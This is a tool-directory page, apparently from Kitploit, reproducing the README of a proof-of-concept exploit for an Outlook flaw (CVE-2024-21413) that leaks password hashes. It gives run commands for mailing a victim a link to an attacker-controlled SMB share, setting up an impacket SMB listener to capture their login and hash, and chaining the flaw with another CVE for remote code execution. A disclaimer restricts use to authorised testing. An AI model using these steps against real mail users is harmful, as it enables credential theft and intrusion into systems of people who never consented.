Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/r00tb1t/cve-2024-21413-poc
Password CrackingVulnerability AnalysisExploitationInformation GatheringLearning & EducationEmail Security
GitHubr00tb1t/cve-2024-21413-poc

CVE-2024-21413-POC

Microsoft Outlook Information Disclosure Vulnerability (leak password hash) - CVE-2024-21413 POC

View Repository
17232 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21413 - POC

Usage:

python CVE-2024-21413.py -host example.com -port 25 -from [email protected] -recipient [email protected] -url xx.xx.xx.xx/path/to/shared/file/r0tb1t.rtf

[!NOTE] r00tb1t : is the shared test file (word in this case) from the attacker machine (xx.xx.xx.xx).

To ensure compliance with SPF, DKIM, and DMARC, use legitimate $IP and domain

Make sure to install the pexpect library if you haven't already using pip install pexpect.

Tips to excute the POC:

  • Run a smb listener impacket-smbserver -smb2support -ip 0.0.0.0 test /tmp .
  • Run the POC

python CVE-2024-21413.py -host example.com -port 25 -from [email protected] -recipient [email protected] -url example.com/path/to/shared/file/r0tb1t.rtf

  • Click on the link in the received mail,and BOOM you should retrieve the login & hash in the listner
  • chain this CVE with CVE-2023-21716 to obtain RCE !!!
  • Kudooooos & details on CVE-2024-21413 .
  • Workaround/Fix:

[!CAUTION] ⚠️ Disclaimer: IMPORTANT: This script is provided for educational, ethical testing, and lawful use ONLY. Do not use it on any system or network without explicit permission. Unauthorized access to computer systems and networks is illegal, and users caught performing unauthorized activities are subject to legal actions. The author is NOT responsible for any damage caused by the misuse of this script..

Download Tool